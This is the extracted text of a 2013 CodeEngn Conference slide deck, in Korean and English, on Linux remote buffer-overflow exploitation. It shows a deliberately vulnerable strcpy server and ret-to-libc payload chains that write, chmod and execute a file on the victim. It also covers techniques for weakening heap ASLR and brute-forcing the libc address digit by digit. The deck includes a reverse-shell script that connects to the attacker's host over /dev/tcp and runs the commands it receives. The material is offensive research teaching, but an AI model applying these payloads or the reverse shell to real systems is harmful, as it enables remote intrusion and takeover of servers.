various tricks for linux remote exploits 이석하 wh1ant 2013.11.30 www.codeengn.com 2013 CodeEngn Conference 09
Thank you The author would like to thank to trigger for reviewing this paper :)
순서 1 - Traditional remote buffer overflow 2 - Ret-to-libc 3 - How to know address? 4 - Vulnerability code and environment 5 - Create exploitation file in the server 6 - Interesting kernel code 7 - New test 8 - Neutralize some of heap ASLR
순서 9 - Heap structure 10 - Fast searching libc location 11 - Demo 12 - Q&A
Traditional remote buffer overflow Code Data Stack SHELLCODE SFP return address - code injection - NX 가없을경우메모리에코드를삽입하고코드를실행한다.
Ret-to-libc Code Data Stack SFP &system() cmd address or sh<&4 SFP &system() cmd address ls nc 127.0.0.1 31337 - ret-to-libc - NX 우회
How to know address? 1. 무작위공격 (Brute-force) SFP &system() cmd address ls nc 127.0.0.1 31337 주소를찾는다! 주소를찾는다! N * 2 의시간이걸린다.
How to know address? 2. 메모리주소노출 (memory disclosure)
How to know address? 3. send()@plt 함수사용 [&send()] [&exit()] [0x00000004] [&GOT] [0x00000004] [0x00000000] NULL 바이트가포함되어야한다.
Vulnerability code and environment int get_result(const int sock, char odd_or_even) { char small_buf[25]; char big_buf[128]; write(sock, "pick a number 1 or 2: ", 22); length = read(sock, big_buf, sizeof(big_buf)-1); Fedora 18 fork() 기반의서버 } strcpy(small_buf, big_buf); // vulnerable code if((small_buf[0]-0x31)==odd_or_even) return 1; else return 0;
Create exploitation file in the server 해커 1. libc 주소를찾는다. 2. 파일을생성한다. 3. 파일을실행한다. piece-by-piece 희생자
Create exploitation file in the server 해커 piece-by-piece 희생자 [Client-Side exploit] [Server-Side exploit]
Create exploitation file in the server 권한문제해결 1. chdir() 함수와 libc 에있는 /tmp 문자열을이용하여 tmp 디렉토리로이동한뒤파일을생성한다. 2. 일반적인서버프로그램은버그나사용자접속정보를확인하기위해로그를기록하는디렉토리가존재하는데이디렉토리를이용하여공격을시도한다. ( 예 : log/log_%y%m%d.log )
Create exploitation file in the server 어떤함수를사용할까? open(), creat(), write() O_WRONLY == 0x1 O_CREAT == 0x40
Payload [&open()] [dummy] [& filename ] [0x00000041] [0x000009ff]
Interesting kernel code struct file *do_filp_open(int dfd, const char *pathname, int open_flag, int mode, int acc_mode)... if (!(open_flag & O_CREAT)) // 0x40 만체크한다.(O_CREAT) mode = 0; 비트연산으로확인! /* Must never be set by userspace */ open_flag &= ~FMODE_NONOTIFY; /* * O_SYNC is implemented as O_SYNC O_DSYNC. As many places only * check for O_DSYNC if the need any syncing at all we enforce it's * always set instead of having to deal with possibly weird behaviour * for malicious applications setting only O_SYNC. */ if (open_flag & O_SYNC) open_flag = O_DSYNC; if (!acc_mode) acc_mode = MAY_OPEN ACC_MODE(open_flag); /* O_TRUNC implies we need access checks for write permissions */ if (open_flag & O_TRUNC) acc_mode = MAY_WRITE;
bitwise AND operation 0x40 (O_CREAT) 00000000 00000000 00000000 01000000 0x40 (O_CREAT) 00000000 00000000 00000000 00000000 00000000 00000000 00000000 01000000 ------------------------------------------------- 00000000 00000000 00000000 00000000 0x40 (O_CREAT) 00000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 ------------------------------------------------- 00000000 00000000 00000000 01000000
Create file #include <stdio.h> #include <fcntl.h> int main(void) { close(open("test", 0x11111040, 0xfffff9ff)); return 0; } 0x11111040 은 O_CREAT 를의미하고 0xfffff9ff 는 4777 권한을의미한다. 실행하면 test 파일이생성된걸확인할수있다.
Shit! #include <unistd.h> ssize_t write(int fd, const void *buf, size_t count); static inline struct file * fcheck_files(struct files_struct *files, unsigned int fd) { struct file * file = NULL; struct fdtable *fdt = files_fdtable(files); } if (fd < fdt->max_fds) file = rcu_dereference_check_fdtable(files, fdt->fd[fd]); return file; 파일디스크립터최대수를넘으면 NULL 을리턴하게된다.
New test #include <stdio.h> FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream); #include <stdio.h> int main(void) { FILE* fp=fopen("test_file", "w"); if(fp==null) { printf("fopen() error\n"); return -1; } } fputc( A, fp); fclose(fp); return 0;
New test #include <stdio.h> FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream); #include <stdio.h> int main(void) { FILE* fp=fopen("test_file", "whello_world"); if(fp==null) { printf("fopen() error\n"); return -1; } answer answer == append mode wer == write mode } fputc(0xffffff41, fp); fclose(fp); return 0;
Payload [&fopen()] [pop*2] [& filename ] [& w ] [&fputc()] [dummy] [0xffffff41] [<file pointer>] 파일포인터는어떻게찾을까?
Random file pointer #include <stdio.h> int main(void) { FILE* fp; fp=fopen("test_file", "wt"); printf("fopen(): %p\n", fp); if(fp) fclose(fp); return 0; }
Neutralize some of heap ASLR #include <stdio.h> #include <stdlib.h> int main(void) { char* p; FILE* fp; 100% 무력화는아니다. 1. 0xb7400468 2. 0xb7500468 p=(char*)malloc(0xffffffff); fp=fopen("test_data", "w"); printf("malloc(): %p\n", p); printf("fopen(): %p\n", fp); if(p) free(p); if(fp) fclose(fp); return 0; }
Heap structure malloc() 128KB 이상 brk() mmap() libc_malloc() -> _int_malloc() -> sysmalloc() -> mmap() libc_malloc() -> arena_get2() -> _int_new_arena() -> new_heap() -> mmap()
Heap structure 2842 void* 2843 libc_malloc(size_t bytes) 2844 { /* _int_malloc() 함수내부에서 0xffffffff 값으로 mmap() 함수를호출하려한다. */ 2858 victim = _int_malloc(ar_ptr, bytes); 2859 if(!victim) { // 0xffffffff 메모리사이즈를할당할수없기때문에 if문에들어간다. 2860 /* Maybe the failure is due to running out of mmapped areas. */ 2861 if(ar_ptr!= &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868 /*... or sbrk() has failed and there is still a chance to mmap() */ /* 이함수내부에서도 mmap() 함수를호출한다. */ 2869 ar_ptr = arena_get2(ar_ptr->next? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);
Heap structure 521 new_heap(size_t size, size_t top_pad)... 552 /* 0x200000 크기의메모리할당 */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1!= MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // 555 ~ 557 줄코드는, 랜덤한주소부터 0xb73fffff 까지의 offset 558 if (ul) 559 munmap(p1, ul); // 일부메모리해제 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); /* 0x21000 크기만큼 read, write 가능하도록한다. */ 575 if( mprotect(p2, size, PROT_READ PROT_WRITE)!= 0) { 576 munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;
Heap structure 2842 void* 2843 libc_malloc(size_t bytes) 2844 { 2858 victim = _int_malloc(ar_ptr, bytes); // fopen() 에서사용할경우 2859 if(!victim) { 2860 /* Maybe the failure is due to running out of mmapped areas. */ 2861 if(ar_ptr!= &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868 /*... or sbrk() has failed and there is still a chance to mmap() */ /* 이함수내부에서도 mmap() 함수를호출한다. */ 2869 ar_ptr = arena_get2(ar_ptr->next? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);
Heap structure 2246 static void* sysmalloc(internal_size_t nb, mstate av)... 2681 p = av->top; // 사전에할당된 mmap 메모리주소 (0xb7400000) 2682size = chunksize(p); // 사전에할당된 mmap 메모리의크기를구한다. // ( 대략 0x21000 값을리턴한다.) 2683 2684/* check that one of the above allocation paths succeeded */ /* 사전에저장된사이즈가할당요청메모리보다더큰지확인한다. */ 2685 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 2686 remainder_size = size - nb; 2687 remainder = chunk_at_offset(p, nb); 2688 av->top = remainder; 2689 set_head(p, nb PREV_INUSE (av!= &main_arena? NON_MAIN_ARENA : 0)); 2690 set_head(remainder, remainder_size PREV_INUSE); 2691 check_malloced_chunk(av, p, nb); 2692 return chunk2mem(p); // 사전에할당된 mmap 메모리주소리턴. 2693 } 2694 2695 /* catch all failure paths */ 2696 set_errno (ENOMEM); 2697 return 0; 2698 }
Memory information
Repeat code ; repeat code 1 10101010: mov eax, ebx 10101012: jmp short 10101012 10101014: mov eax, ebx ; repeat code 2 10101010: mov eax, ebx 10101012: jmp short 10101010 10101014: mov eax, ebx
File pointer check payload [&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer] /proc/net/tcp (ESTABLISHED 상태확인 )
Find repeat code 실행가능한영역시작주소 : 0x080486ac 실행가능한영역끝나는주소 : 0x8049578 [&puts()] [0x080486ac ~ 0x8049578] [0x08048001]
File write payload [&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [& a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer] perl? python?
Server-Side exploit Shell 프로그래밍 #!/bin/sh exec 5<>/dev/tcp/<hacker IP address>/1337 cat<&5 while read line;do $line 2>&5>&5;done
Fast searching libc location $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
Fast searching libc location... int* p=0x0; int temp=*p; // 메모리가없으면 Segmentation fault 발생....... int* p=0x08048000; int temp=*p; /* 메모리가있으면 Segmentation fault 이발생하지않는다. */...
Fast searching libc location 어떤걸찾는게더빠를까? 0xb76879f0 (libc 의 fopen() 함수 ) 0xb7623000 ~ 0xb77d6000 (libc 간격주소 )
Fast searching libc location 예 ) 0x0 ~ 0x50 메모리가있을경우 (offset 은 0x50 이된다.) ASLR 이 0x0 ~ 0xff 까지랜덤하게변할경우 0x22 ~ 0x72 0x47 ~ 0x97 0x0a ~ 0x5a 0x33 ~ 0x83 0x1f ~ 0x6f 0x55 ~ 0xa5 0x6b ~ 0xbb 0x72 ~ 0xc2 간격주소, 즉존재하는주소를찾는다! 0x00 0x10 0x20 0x30 0x20 0x21 0x22
Fast searching libc location 존재하는주소를찾는다. [&puts()] [&repeat code] [&exist libc] b7623000-b77d3000 r-xp 00000000 fd:01 1861 b77d3000-b77d5000 r--p 001b0000 fd:01 1861 b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so /usr/lib/libc-2.16.so /usr/lib/libc-2.16.so 0xb77d6000 0xb7623000 = 0x1b3000 (offset 값 ) 6 번째자리부터 8 번째자리까지값을 libc 가존재하도록맞추면 1 번째부터 5 번째자리까지는어떠한값이와도 libc 의주소가존재하게된다. 0xb7623100 <= 첫번째줄에존재 0xb76fffff, <= 첫번째줄에존재 0xb7712345 <= 첫번째줄에존재 0xb7755555 <= 첫번째줄에존재
Fast searching libc location 주소를한자리씩찾는다. b7623000-b77d3000 r-xp 00000000 fd:01 1861 b77d3000-b77d5000 r--p 001b0000 fd:01 1861 b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so /usr/lib/libc-2.16.so /usr/lib/libc-2.16.so [&puts()] [repeat code] [0xb7 5~8 00101] <= 6 번째자리를찾는다. [&puts()] [repeat code] [0xb76 0~f 0101] <= 5 번째자리를찾는다. [&puts()] [repeat code] [0xb761 0~f 101] <= 4 번째자리를찾는다. 6 번째자리는 0xb7700101 주소값이메모리가존재한다. 5 번째자리는 0xb7630101 주소값이메모리가존재한다. 4 번째자리는 0xb7622101 주소값이메모리가존재한다.
Fast searching libc location $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
Memory access functions int puts(const char *s); size_t strlen(const char *s); int atoi(const char *nptr); int strcmp(const char *s1, const char *s2); int printf(const char *format,...); int sprintf(char *str, const char *format,...);
Payload review 1. libc 주소를찾는다. [&puts()] [&repeat code] [&exist libc] 2. 파일포인터를찾는다. [&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer] 3. 파일을쓴다. [&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [& a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer]
Payload review 4. 파일퍼미션을수정하고실행한다. [&chmod()] [pop*2] [&"log/log_%y%m%d.log"] [0xfffff1ff] [&execl()] [&exit()] [&"log/log_%y%m%d.log"] [&"log/log_%y%m%d.log ] 하지만 NULL 바이트우회할때는 system() 함수!
demo
demo2 ASCII-Armor 에서 libc 를찾을경우 [&puts()] [dummy] [0x00049cf0] 0x00049cf0 => \xf0\x9c\x04\x00 Payload 분할하여공격 big_buf[128] user_email[50] user_name[50] payload1 payload2 payload3 add esp 0x118 add esp 0x48 High address ret 0x50???
Payload NULL 을우회하여 binary 파일생성은? [&fprintf()] [dummy] [file pointer] [& %c ] [0x00] 0xffffff00 => \x00\xff\xff\xff
Server type fork() 서버, xinetd 서버멀티플렉싱서버, 쓰레드서버 libc 를찾을필요가없을경우 PLT (Procedure Linkage Table) 함수만사용해야한다. malloc() fopen() fputc() ( fprintf(), %c ) chmod() ( 존재할확률이많이낮다.) system()
Permission 권한문제해결 open() creat() character 문자열로파일생성후 sh character 문자열로파일을실행한다.
Warning! $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack] mm_struct -> vm_area_struct -> mm_base 0xb7801000 주소저장
wh1ant.kr wh1ant.sh@gmail.com http://youtu.be/lsgi-salqjy
www.codeengn.com 2013 CodeEngn Conference 09